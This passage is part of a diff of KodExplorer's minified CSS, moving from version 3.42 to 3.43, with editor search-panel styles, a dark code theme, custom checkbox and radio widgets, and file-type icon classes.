#ccc;margin:0px;width:100%;height:24px;line-height:23px;}.search_content .ace_search .ace_search_field:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.search_content .ace_search .ace_search_field:focus{box-shadow:0 0 1px #75a1f0;}.search_content .ace_search .ace_search_action{position:absolute;right:50px;}.search_content .ace_search .ace_search_input{position:absolute;left:130px;right:160px;}.search_content .ace_search .ace_replace_form .ace_search_action{right:70px;}.search_content .ace_search .ace_search_form.ace_nomatch{outline:none;}.search_content .ace_search .ace_search_form.ace_nomatch .search_info{color:#f00;font-weight:800;}.search_content .ace_search .search_info.search-first{color:#03a9f4;font-weight:800;}.search_content .ace_search .history-list{position:absolute;right:8px;}.search_content .ace_search .history-list .dropdown-menu:before{right:4px;}.search_content .ace_search .history-list .dropdown-menu:after{right:5px;}.search_content .ace_search .history-list .dropdown-menu li > a{padding:3px 20px;font-size:13px;}.search_content .ace_search .history-list .dropmenu{width:20px;height:20px;background:rgba(50,50,50,0.05);cursor:pointer;font-size:15px;margin-top:2px;color:#ccc;display:inline-block;line-height:20px;text-align:center;border-radius:2px;}.search_content .ace_search .history-list .dropmenu:hover{background:rgba(50,50,50,0.2);color:#aaa;}.search_content .ace_search .history-list.open .dropmenu{background:rgba(50,50,50,0.2);color:#aaa;}.search_content .ace_search .btn_background{background:url("../../../images/common/buttons_40.png") 0 0px repeat-x;}.search_content .ace_search .btn_background_hover{background:url("../../../images/common/buttons_40.png") 0 -12px repeat-x;}.search_content .ace_search .ace_searchbtn,.search_content .ace_search .ace_replacebtn{float:left;padding:0 8px;border:1px solid #dcdcdc;margin-left:-1px;background:url("../../../images/common/buttons_40.png") 0 0px repeat-x;}.search_content .ace_search .ace_searchbtn:hover,.search_content .ace_search .ace_replacebtn:hover{background:url("../../../images/common/buttons_40.png") 0 -12px repeat-x;}.search_content .ace_search .ace_searchbtn:active,.search_content .ace_search .ace_replacebtn:active{outline:none;background:#ddd;}.search_content .ace_search .ace_searchbtn.next,.search_content .ace_search .ace_replacebtn.next{background:url("../../../images/common/buttons_40.png") 0 0px repeat-x;padding:0 4px;}.search_content .ace_search .ace_searchbtn.next:hover,.search_content .ace_search .ace_replacebtn.next:hover{background:url("../../../images/common/buttons_40.png") 0 -12px repeat-x;}.search_content .ace_search .ace_searchbtn.prev,.search_content .ace_search .ace_replacebtn.prev{background:url("../../../images/common/buttons_40.png") 0 0px repeat-x;padding:0 4px;}.search_content .ace_search .ace_searchbtn.prev:hover,.search_content .ace_search .ace_replacebtn.prev:hover{background:url("../../../images/common/buttons_40.png") 0 -12px repeat-x;}.code_theme_black{background:#333;}.code_theme_black pre{background:#333;}.code_theme_black div.tools{box-shadow:1px 2px 15px #3d3d3d;border-bottom:1px solid #474747;background:#3d3d3d;}.code_theme_black div.tools .right .btn{border:solid 1px #474747;background:#3d3d3d;color:#eef;}.code_theme_black div.tools .right .btn:hover{background:#474747;}.code_theme_black div.tools .line{border-color:#595959;}.code_theme_black div.tools a.select,.code_theme_black div.tools a.select:hover,.code_theme_black div.tools a:active,.code_theme_black div.tools a:hover{background:#595959;}.code_theme_black div.tools a .font-icon{color:#eef;text-shadow:none;}.code_theme_black div.tools .disable_mask{background:#000;}.code_theme_black .context-menu-list{border:none;background:#595959;border-bottom:none;box-shadow:0 10px 10px rgba(0,0,0,0.15);}.code_theme_black .context-menu-list .context-menu-item{color:#eef;border-color:rgba(255,255,255,0) !important;}.code_theme_black .context-menu-list .context-menu-item .font-icon{color:#eef;}.code_theme_black .context-menu-list .context-menu-item.context-menu-separator{border-bottom:1px solid #666666 !important;background:none;}.code_theme_black .context-menu-list .context-menu-item.hover,.code_theme_black .context-menu-list .context-menu-item.selected.hover{background:#666666;color:#eef;border-color:transparent !important;}.code_theme_black .context-menu-list .context-menu-item.hover .font-icon,.code_theme_black .context-menu-list .context-menu-item.selected.hover .font-icon{color:#eef;}.code_theme_black .context-menu-list .context-menu-item.line_top{border-top:1px solid #666666 !important;}.code_theme_black .dropdown-menu{background:#595959;}.code_theme_black .dropdown-menu:before{right:4px;}.code_theme_black .dropdown-menu:after{border-top-color:#595959;}.code_theme_black .dropdown-menu li > a{color:#eef;}.code_theme_black .edit_tab .tabs{background:#333;border-bottom:1px solid #474747;}.code_theme_black .edit_tab .tabs .tab{background:#474747;border-right:1px solid #595959;color:#eef;}.code_theme_black .edit_tab .tabs .close{opacity:0.05;filter:alpha(opacity=5);text-shadow:none;color:#666666;}.code_theme_black .edit_tab .tabs .tab.hover{background:#474747;}.code_theme_black .edit_tab .tabs .add{background:#595959;border:1px solid #3d3d3d;color:#eef;}.code_theme_black .edit_tab .tabs .add:hover{background:#666666;}.code_theme_black .edit_tab .tabs .tab.this{background:#666666;border-right:1px solid #666666;border-left:3px solid #63acff;margin-left:-3px;}.code_theme_black .draggable-dragging{background:#595959;border-left:3px solid #63acff;}.code_theme_black .edit_content .resize{background-color:#ddd;background-color:rgba(255,255,255,0.01);}.code_theme_black .edit_content .resize:hover{background-color:#ddd;background-color:rgba(255,255,255,0.1);}.code_theme_black .edit_content .resize.resize_active{background-color:#ddd;background-color:rgba(255,255,255,0.3);}.code_theme_black .edit_right_frame{background:#333;border-left:1px solid #3d3d3d;}.code_theme_black .edit_right_frame .function_list_parent{background:#333;}.code_theme_black .edit_right_frame .function_list_box .list_row{color:#eef;}.code_theme_black .edit_right_frame .function_list_box .list_row.row_hover{background:#3d3d3d;}.code_theme_black .edit_right_frame .function_list_box .list_row.row_select{background:#63acff;}.code_theme_black .edit_right_frame .function_list_box .list_row.mark,.code_theme_black .edit_right_frame .function_list_box .list_row.class{background:#595959;}.code_theme_black .edit_right_frame .preview_url_tool,.code_theme_black .edit_right_frame .function_list_tool{border-bottom:1px solid #3d3d3d;}.code_theme_black .edit_right_frame .preview_url_tool .box,.code_theme_black .edit_right_frame .function_list_tool .box{background:#333;color:#eef;border:none;}.code_theme_black .edit_right_frame .preview_url_tool .box a,.code_theme_black .edit_right_frame .function_list_tool .box a{padding:0px 6px;}.code_theme_black .edit_right_frame .preview_url_tool .box a:hover,.code_theme_black .edit_right_frame .function_list_tool .box a:hover{border:1px solid #666666;}.code_theme_black .edit_right_frame .preview_url_tool .input_content input,.code_theme_black .edit_right_frame .function_list_tool .input_content input{color:#eee;font-size:1.15em;text-shadow:none;background:#444;box-shadow:none;border:none;}.code_theme_black .edit_right_frame .preview_url_tool .input_content input:focus,.code_theme_black .edit_right_frame .function_list_tool .input_content input:focus{box-shadow:none;}.code_theme_black .edit_right_frame .function_search input{color:#eef;border:1px solid #595959;background:#474747;}.code_theme_black .edit_right_frame .preview_markdown_tool .box a .font-icon{color:#eef;}.code_theme_black .edit_right_frame .preview_markdown_tool .box a:hover{background:#666666;color:#eef;}.code_theme_black .edit_right_frame .preview_markdown_tool .box a:hover .font-icon{color:#eef;}.code_theme_black .edit_right_frame .preview_markdown_tool .toolbar{border-left:1px solid #595959;background:#3d3d3d;}.code_theme_black .edit_right_frame .preview_markdown_tool .toolbar .md-tools{color:#eef;}.code_theme_black .edit_right_frame .preview_markdown_tool .toolbar .md-tools:hover{background:#666666;}.code_theme_black .edit_right_frame .preview_markdown_tool .toolbar .md-tools.md-tools-split{color:#3d3d3d;}.code_theme_black .edit_right_frame .markdown_help{background:#474747;color:#eef;border-color:#595959;}.code_theme_black .edit_right_frame .markdown_help h3{border-color:#666666;}.code_theme_black .edit_right_frame .markdown_help h5{border-color:#666666;}.code_theme_black .edit_right_frame .markdown_help pre{background:#666666;color:#eef;}.code_theme_black .edit_right_frame .markdown_menu_box{background:#474747;color:#eef;border-color:#595959;}.code_theme_black .edit_right_frame .markdown_menu_box h3{border-color:#666666;}.code_theme_black .edit_right_frame .markdown_menu_box .markdown_menu li a{color:#ffa500;}.code_theme_black .edit_right_frame .markdown_menu_box .markdown_menu li a:hover{background:#666666;}.code_theme_black .edit_right_frame .markdown_setting{background:#474747;color:#eef;border-color:#595959;}.code_theme_black .edit_right_frame .markdown_setting ul li.line{height:1px;background:#595959;}.code_theme_black .edit_right_frame .markdown_setting ul a,.code_theme_black .edit_right_frame .markdown_setting ul a:visited{color:#eef;}.code_theme_black .edit_right_frame .markdown_setting ul a i{color:#eef;}.code_theme_black .edit_right_frame .markdown_setting ul a:hover{background:#666666;color:#eef;}.code_theme_black .edit_right_frame .markdown_setting ul a:hover i{color:#eef;}.code_theme_black .edit_body{background:#333;}.code_theme_black .edit_body .bottom_toolbar{border-radius:4px;background:#474747;border:1px solid #595959;}.code_theme_black .edit_body .bottom_toolbar a{color:#fff;}.code_theme_black .edit_body .bottom_toolbar a .font-icon{color:#eef;}.code_theme_black .edit_body .bottom_toolbar a:hover{color:#63acff;}.code_theme_black .edit_body .bottom_toolbar a.select{background:#666666;color:#fff;}.code_theme_black .edit_body .aui_icon,.code_theme_black .edit_body .aui_main{background:#333;}.code_theme_black .edit_body .aui_state_noTitle .aui_inner{border:1px solid #666666;}.code_theme_black .ace_text-input{background:#333;}.code_theme_black .ace_search{background-color:#474747;border-color:#595959;color:#eef;}.code_theme_black .ace_search .ace_button{border:1px solid #595959;color:#fff;}.code_theme_black .ace_search .ace_button:hover{background-color:#595959;}.code_theme_black .ace_search .ace_button.checked{border-color:#39F;background:#39f;color:#fff;}.code_theme_black .ace_search .ace_search_field{background-color:#595959;border:1px solid #595959;color:#eef;}.code_theme_black .ace_search .ace_search_form.ace_nomatch .search_info{color:#f66;}.code_theme_black .ace_search .btn_background{background:#474747;border-color:#595959;color:#eef;}.code_theme_black .ace_search .btn_background_hover{background:#595959;border-color:#666666;}.code_theme_black .ace_search .ace_searchbtn,.code_theme_black .ace_search .ace_replacebtn{background:#474747;border-color:#595959;color:#eef;}.code_theme_black .ace_search .ace_searchbtn:hover,.code_theme_black .ace_search .ace_replacebtn:hover{background:#595959;border-color:#666666;}.code_theme_black .ace_search .ace_searchbtn.next,.code_theme_black .ace_search .ace_replacebtn.next{background:#474747;border-color:#595959;color:#eef;}.code_theme_black .ace_search .ace_searchbtn.next:hover,.code_theme_black .ace_search .ace_replacebtn.next:hover{background:#595959;border-color:#666666;}.code_theme_black .ace_search .ace_searchbtn.prev,.code_theme_black .ace_search .ace_replacebtn.prev{background:#474747;border-color:#595959;color:#eef;}.code_theme_black .ace_search .ace_searchbtn.prev:hover,.code_theme_black .ace_search .ace_replacebtn.prev:hover{background:#595959;border-color:#666666;}.code_theme_black .introduction{background:#3d3d3d;top:59px;}.code_theme_black .introduction pre{background:#3d3d3d;border-bottom:1px solid #474747;}.code_theme_black .introduction .tips h1{border-bottom:1px dashed #3d3d3d;}.code_theme_black .introduction .green{border-left:1px solid #3d3d3d;}.code_theme_black .context-menu-list .gotoline_input input{color:#eef;background:#666666;broder-color:#474747;}.code_theme_black .code_mode_list{background:#474747;color:#eef;}.code_theme_black .code_mode_list li.list_input{background:#474747;}.code_theme_black .code_mode_list li.list_input input{color:#eef;background:#666666;broder-color:#474747;}.code_theme_black .code_mode_list li.selected,.code_theme_black .code_mode_list li.selected.hover,.code_theme_black .code_mode_list li.hover{background:#666666;color:#fff;}.forceWap .edit_right_frame{width:0 !important;display:none;}.forceWap .resize{display:none;}.forceWap .ace_editor{width:100% !important;}.forceWap .edit_tab{display:none;}.forceWap .edit_body{top:29px;}.forceWap .ace_scroller{left:30px !important;}.forceWap .ace_gutter,.forceWap .ace_gutter-layer{width:30px !important;}.forceWap .ace_folding-enabled > .ace_gutter-cell{padding:0px 3px !important;}.forceWap .ace_editor_content{font-size:12px !important;}.forceWap .top_toolbar a[action="saveall"],.forceWap .top_toolbar a[action="refresh"],.forceWap .top_toolbar .menuViewGotoline{display:none;}@media screen and (max-width:600px){.topbar .content .top_right{ display:none;}} -/* ver 3.42(2017-04-07) [build 1491589354.5029] */ \ No newline at end of file +/* power by kodexplorer ver 3.43(2017-04-12) [build 1491999047.5383] */ +::-webkit-scrollbar-track-piece{background-color:rgba(180,180,180,0.06);border-radius:3px;}::-webkit-scrollbar{width:10px;height:10px;}::-webkit-scrollbar-thumb{background-color:rgba(180,180,180,0.2);border-radius:12px;background-clip:padding-box;border:1px solid rgba(180,180,180,0.4);min-height:28px;}::-webkit-scrollbar-thumb:hover{background-color:rgba(180,180,180,0.4);border:1px solid rgba(180,180,180,0.7);}.hidden{display:none;}.frame_fullscreen{position:fixed;z-index:999499;left:0;top:0;}.font-icon{font-family:FontAwesome;font-style:normal;color:inherit;}.dragMaskView{position:absolute;top:0;left:0;right:0;bottom:0;z-index:888;background:#fff;opacity:0.01;filter:alpha(opacity=1);-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}@media screen and (max-width:100000px){input[type="checkbox"].kui-checkbox-ios{ display:none !important;} input[type="checkbox"].kui-checkbox-ios +em{ margin:15px 1.2em 15px 2.5em;vertical-align:middle;display:inline-block;margin:0px;border:1px solid #ddd;cursor:pointer;border-radius:999px;background-color:#f6f6f6;-webkit-transition:all 0.4s;-moz-transition:all 0.4s;-o-transition:all 0.4s;-ms-transition:all 0.4s;transition:all 0.4s;box-shadow:inset 0 0 0 0px rgba(0,0,0,0.4);} input[type="checkbox"].kui-checkbox-ios +em:after{ float:left;content:'';margin:1px 0 0 1px;width:18px;height:18px;border-radius:inherit;background:#ffffff;-webkit-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-moz-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-o-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-ms-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);transition:all 0.4s cubic-bezier(.54,1.85,.5,1);box-shadow:0 1px 3px rgba(0,0,0,0.4);pointer-events:none;} input[type="checkbox"].kui-checkbox-ios:checked +em{ background-color:#64bd63;border:1px solid #64bd63;} input[type="checkbox"].kui-checkbox-ios:checked +em:after{ background-color:#ffffff;box-shadow:0px 2px 5px rgba(0,0,0,0.3);} input[type="checkbox"].kui-checkbox-ios.size-smallx +em{ width:20px;height:10px;} input[type="checkbox"].kui-checkbox-ios.size-smallx +em:after{ width:8px;height:8px;} input[type="checkbox"].kui-checkbox-ios.size-smallx:checked +em:after{ margin-left:11px;} input[type="checkbox"].kui-checkbox-ios.size-small +em{ width:30px;height:15px;} input[type="checkbox"].kui-checkbox-ios.size-small +em:after{ width:13px;height:13px;} input[type="checkbox"].kui-checkbox-ios.size-small:checked +em:after{ margin-left:16px;} input[type="checkbox"].kui-checkbox-ios +em{ width:40px;height:20px;} input[type="checkbox"].kui-checkbox-ios +em:after{ width:18px;height:18px;} input[type="checkbox"].kui-checkbox-ios:checked +em:after{ margin-left:21px;} input[type="checkbox"].kui-checkbox-ios.size-big +em{ width:50px;height:25px;} input[type="checkbox"].kui-checkbox-ios.size-big +em:after{ width:23px;height:23px;} input[type="checkbox"].kui-checkbox-ios.size-big:checked +em:after{ margin-left:26px;} input[type="checkbox"].kui-checkbox-ios.size-bigx +em{ width:80px;height:40px;} input[type="checkbox"].kui-checkbox-ios.size-bigx +em:after{ width:38px;height:38px;} input[type="checkbox"].kui-checkbox-ios.size-bigx:checked +em:after{ margin-left:41px;} input[type="checkbox"].kui-checkbox-ios:checked +em{ background-color:#63acff;border:1px solid #63acff;box-shadow:inset 0 0 0 10px #63acff;} input[type="checkbox"].kui-checkbox-ios.red:checked +em{ background-color:#ff5722;border:1px solid #ff5722;box-shadow:inset 0 0 0 10px #ff5722;} input[type="checkbox"].kui-checkbox-ios.blue:checked +em{ background-color:#63acff;border:1px solid #63acff;box-shadow:inset 0 0 0 10px #63acff;} input[type="checkbox"].kui-checkbox-ios.green:checked +em{ background-color:#64bd63;border:1px solid #64bd63;box-shadow:inset 0 0 0 10px #64bd63;} input[type="checkbox"].kui-checkbox-ios.yellow:checked +em{ background-color:#ffc107;border:1px solid #ffc107;box-shadow:inset 0 0 0 10px #ffc107;} input[type="checkbox"].kui-checkbox-ios.grey:checked +em{ background-color:#aaa;border:1px solid #aaa;box-shadow:inset 0 0 0 10px #aaa;} input[type="checkbox"].kui-checkbox-ios.black:checked +em{ background-color:#444;border:1px solid #444;box-shadow:inset 0 0 0 10px #444;} input[type="checkbox"].kui-checkbox{ background:#f6f6f6;cursor:pointer;border:1px solid #ddd !important;outline:none;text-align:center;border-radius:10%;display:inline-block;background-clip:padding-box;appearance:none;-moz-appearance:none;-webkit-appearance:none;} input[type="checkbox"].kui-checkbox:before{ font-family:FontAwesome;content:"\f00c";color:#f6f6f6;} input[type="checkbox"].kui-checkbox:checked{ background:#1b7e5a;border-color:#1b7e5a !important;} input[type="checkbox"].kui-checkbox:checked:before{ color:#fff;} input[type="checkbox"].kui-checkbox:checked:hover, input[type="checkbox"].kui-checkbox:checked:focus{ box-shadow:none !important;} input[type="checkbox"].kui-checkbox:hover, input[type="checkbox"].kui-checkbox:focus{ border-color:#1b7e5a !important;box-shadow:0 0 0 1px #1b7e5a !important;} input[type="checkbox"].kui-checkbox.radius{ border-radius:999px;} input[type="checkbox"].kui-checkbox.size-smallx{ height:16px;width:16px !important;} input[type="checkbox"].kui-checkbox.size-smallx:before{ font-size:9.6px;line-height:16px;} input[type="checkbox"].kui-checkbox.size-small{ height:17px;width:17px !important;} input[type="checkbox"].kui-checkbox.size-small:before{ font-size:10.2px;line-height:17px;} input[type="checkbox"].kui-checkbox{ height:24px;width:24px !important;} input[type="checkbox"].kui-checkbox:before{ font-size:14.4px;line-height:24px;} input[type="checkbox"].kui-checkbox.size-big{ height:26px;width:26px !important;} input[type="checkbox"].kui-checkbox.size-big:before{ font-size:15.6px;line-height:26px;} input[type="checkbox"].kui-checkbox.size-bigx{ height:32px;width:32px !important;} input[type="checkbox"].kui-checkbox.size-bigx:before{ font-size:19.2px;line-height:32px;} input[type="checkbox"].kui-checkbox:checked{ background:#63acff;border-color:#63acff !important;} input[type="checkbox"].kui-checkbox:hover, input[type="checkbox"].kui-checkbox:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="checkbox"].kui-checkbox.red:checked{ background:#ff5722;border-color:#ff5722 !important;} input[type="checkbox"].kui-checkbox.red:hover, input[type="checkbox"].kui-checkbox.red:focus{ border-color:#ff5722 !important;box-shadow:0 0 0 1px #ff5722 !important;} input[type="checkbox"].kui-checkbox.blue:checked{ background:#63acff;border-color:#63acff !important;} input[type="checkbox"].kui-checkbox.blue:hover, input[type="checkbox"].kui-checkbox.blue:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="checkbox"].kui-checkbox.green:checked{ background:#64bd63;border-color:#64bd63 !important;} input[type="checkbox"].kui-checkbox.green:hover, input[type="checkbox"].kui-checkbox.green:focus{ border-color:#64bd63 !important;box-shadow:0 0 0 1px #64bd63 !important;} input[type="checkbox"].kui-checkbox.yellow:checked{ background:#ffc107;border-color:#ffc107 !important;} input[type="checkbox"].kui-checkbox.yellow:hover, input[type="checkbox"].kui-checkbox.yellow:focus{ border-color:#ffc107 !important;box-shadow:0 0 0 1px #ffc107 !important;} input[type="checkbox"].kui-checkbox.grey:checked{ background:#aaa;border-color:#aaa !important;} input[type="checkbox"].kui-checkbox.grey:hover, input[type="checkbox"].kui-checkbox.grey:focus{ border-color:#aaa !important;box-shadow:0 0 0 1px #aaa !important;} input[type="checkbox"].kui-checkbox.black:checked{ background:#444;border-color:#444 !important;} input[type="checkbox"].kui-checkbox.black:hover, input[type="checkbox"].kui-checkbox.black:focus{ border-color:#444 !important;box-shadow:0 0 0 1px #444 !important;} input[type="radio"].kui-radio{ background:#f6f6f6;cursor:pointer;border:1px solid #ddd !important;outline:none;border-radius:999px;display:inline-block;text-align:center;background-clip:padding-box;box-shadow:0 1px 2px rgba(0,0,0,0.05), inset 0px -15px 10px -12px rgba(0,0,0,0.05);appearance:none;-moz-appearance:none;-webkit-appearance:none;} input[type="radio"].kui-radio:before{ font-family:FontAwesome;content:"\f00c";color:#f6f6f6;} input[type="radio"].kui-radio:checked:before{ color:#fff;} input[type="radio"].kui-radio:checked:hover, input[type="radio"].kui-radio:checked:focus{ box-shadow:none !important;} input[type="radio"].kui-radio:hover, input[type="radio"].kui-radio:focus{ border-color:#224 !important;} input[type="radio"].kui-radio.size-smallx{ height:16px;width:16px !important;} input[type="radio"].kui-radio.size-smallx:before{ font-size:9.6px;line-height:14px;} input[type="radio"].kui-radio.size-small{ height:18px;width:18px !important;} input[type="radio"].kui-radio.size-small:before{ font-size:10.8px;line-height:16px;} input[type="radio"].kui-radio{ height:24px;width:24px !important;} input[type="radio"].kui-radio:before{ font-size:14.4px;line-height:22px;} input[type="radio"].kui-radio.size-big{ height:26px;width:26px !important;} input[type="radio"].kui-radio.size-big:before{ font-size:15.6px;line-height:24px;} input[type="radio"].kui-radio.size-bigx{ height:32px;width:32px !important;} input[type="radio"].kui-radio.size-bigx:before{ font-size:19.2px;line-height:30px;} input[type="radio"].kui-radio:checked{ background:#63acff;border-color:#63acff !important;} input[type="radio"].kui-radio:hover, input[type="radio"].kui-radio:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="radio"].kui-radio.red:checked{ background:#ff5722;border-color:#ff5722 !important;} input[type="radio"].kui-radio.red:hover, input[type="radio"].kui-radio.red:focus{ border-color:#ff5722 !important;box-shadow:0 0 0 1px #ff5722 !important;} input[type="radio"].kui-radio.blue:checked{ background:#63acff;border-color:#63acff !important;} input[type="radio"].kui-radio.blue:hover, input[type="radio"].kui-radio.blue:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="radio"].kui-radio.green:checked{ background:#64bd63;border-color:#64bd63 !important;} input[type="radio"].kui-radio.green:hover, input[type="radio"].kui-radio.green:focus{ border-color:#64bd63 !important;box-shadow:0 0 0 1px #64bd63 !important;} input[type="radio"].kui-radio.yellow:checked{ background:#ffc107;border-color:#ffc107 !important;} input[type="radio"].kui-radio.yellow:hover, input[type="radio"].kui-radio.yellow:focus{ border-color:#ffc107 !important;box-shadow:0 0 0 1px #ffc107 !important;} input[type="radio"].kui-radio.grey:checked{ background:#aaa;border-color:#aaa !important;} input[type="radio"].kui-radio.grey:hover, input[type="radio"].kui-radio.grey:focus{ border-color:#aaa !important;box-shadow:0 0 0 1px #aaa !important;} input[type="radio"].kui-radio.black:checked{ background:#444;border-color:#444 !important;} input[type="radio"].kui-radio.black:hover, input[type="radio"].kui-radio.black:focus{ border-color:#444 !important;box-shadow:0 0 0 1px #444 !important;}}.x-item-small{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.x-item-file{background-repeat:no-repeat;background-size:cover;background-position:center;background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');width:100%;height:100%;display:inline-block;pointer-events:none;}.x-item-file.small{width:20px;height:20px;}.fileList_icon .file .ico .x-item-file{border-radius:5px;margin-top:6px;margin-top:4px;}.bindary_box .ico .x-item-file{width:90px;height:90px;margin-top:28px;}.fileList_list .file .ico .x-item-file,.fileList_list_split .file .ico .x-item-file{border:none;}.ztree li span.tree_icon .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.header-content #yarnball .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.task_tab .tabs .tab .x-item-file,.task_tab .tabs .tab img{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.tasktab-dragging.tab .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.tasktab-dragging.tab img{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.aui_title .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.edit_tab .tabs .tab .name .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.draggable-dragging .name .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.do_search .search_result .file-item .file-info .file-icon .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.context-menu-list .context-menu-item .font-icon.x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;margin-right:8px;}.context-menu-list .context-menu-item .font-icon.x-item-file:before{content:"";}.x-txt.small,.x-textile.small,.x-inc.small,.x-log.small{background-image:url("../../../images/file_icon/icon_file/txt_small.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt_small.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt_small.png?ver=3.30',sizingMethod='scale');background-size:auto;}.x-php.small{background-image:url("../../../images/file_icon/icon_file/php_small.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php_small.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php_small.png?ver=3.30',sizingMethod='scale');background-size:auto;}.x-txt,.x-textile,.x-oexe,.x-inc,.x-csv,.x-log,.x-asc,.x-tsv,.x-lnk,.x-url,.x-webloc,.x-meta,.x-localized,.x-xib,.x-xsd,.x-storyboard,.x-plist,.x-csproj,.x-pch,.x-pbxproj,.x-local,.x-xcscheme,.x-manifest,.x-vbproj,.x-strings,.x-jshintrc,.x-sublime-project,.x-readme,.x-changes,.x-changelog,.x-version,.x-license,.x-changelog,.x-abap,.x-abc,.x-as,.x-asp,.x-aspx,.x-ada,.x-adb,.x-htaccess,.x-htgroups,.x-htgroups,.x-htpasswd,.x-asciidoc,.x-adoc,.x-asm,.x-a,.x-ahk,.x-bat,.x-cmd,.x-cpp,.x-c,.x-cc,.x-cxx,.x-h,.x-hh,.x-hpp,.x-ino,.x-c9search_results,.x-cirru,.x-cr,.x-clj,.x-cljs,.x-cbl,.x-cob,.x-coffee,.x-cf,.x-cson,.x-cakefile,.x-cfm,.x-cs,.x-css,.x-curly,.x-d,.x-di,.x-dart,.x-diff,.x-patch,.x-dockerfile,.x-dot,.x-dummy,.x-dummy,.x-e,.x-ge,.x-ejs,.x-ex,.x-exs,.x-elm,.x-erl,.x-hrl,.x-frt,.x-fs,.x-ldr,.x-ftl,.x-gcode,.x-feature,.x-.gitignore,.x-glsl,.x-frag,.x-vert,.x-gbs,.x-go,.x-groovy,.x-haml,.x-hbs,.x-handlebars,.x-tpl,.x-mustache,.x-hs,.x-hx,.x-html,.x-hta,.x-htm,.x-xhtml,.x-eex,.x-html.eex,.x-erb,.x-rhtml,.x-html.erb,.x-ini,.x-inf,.x-conf,.x-cfg,.x-prefs,.x-io,.x-jack,.x-jade,.x-java,.x-ji,.x-jl,.x-jq,.x-js,.x-jsm,.x-json,.x-jsp,.x-jsx,.x-latex,.x-ltx,.x-bib,.x-lean,.x-hlean,.x-less,.x-liquid,.x-lisp,.x-ls,.x-logic,.x-lql,.x-lsl,.x-lua,.x-lp,.x-lucene,.x-Makefile,.x-makemakefile,.x-gnumakefile,.x-makefile,.x-ocamlmakefile,.x-make,.x-md,.x-markdown,.x-mask,.x-matlab,.x-mz,.x-mel,.x-mc,.x-mush,.x-mysql,.x-nix,.x-nsi,.x-nsh,.x-m,.x-mm,.x-ml,.x-mli,.x-pas,.x-p,.x-pl,.x-pm,.x-pgsql,.x-php,.x-phtml,.x-shtml,.x-php3,.x-php4,.x-php5,.x-phps,.x-phpt,.x-aw,.x-ctp,.x-module,.x-ps1,.x-praat,.x-praatscript,.x-psc,.x-proc,.x-plg,.x-prolog,.x-properties,.x-proto,.x-py,.x-r,.x-cshtml,.x-rd,.x-rhtml,.x-rst,.x-rb,.x-ru,.x-gemspec,.x-rake,.x-guardfile,.x-rakefile,.x-gemfile,.x-rs,.x-sass,.x-scad,.x-scala,.x-scm,.x-sm,.x-rkt,.x-oak,.x-scheme,.x-scss,.x-sh,.x-bash,.x-bashrc,.x-sjs,.x-smarty,.x-tpl,.x-snippets,.x-soy,.x-space,.x-sql,.x-sqlserver,.x-styl,.x-stylus,.x-svg,.x-swift,.x-tcl,.x-tex,.x-toml,.x-twig,.x-swig,.x-ts,.x-typescript,.x-str,.x-vala,.x-vbs,.x-vb,.x-vm,.x-v,.x-vh,.x-sv,.x-svh,.x-vhd,.x-vhdl,.x-wlk,.x-wpgm,.x-wtest,.x-xml,.x-rdf,.x-rss,.x-wsdl,.x-xslt,.x-atom,.x-mathml,.x-mml,.x-xul,.x-xbl,.x-xaml,.x-xq,.x-yaml,.x-yml,.x-cer,.x-reg,.x-config,.x-srt,.x-ass{background-image:url("../../../images/file_icon/icon_file/txt.png");background-image:none 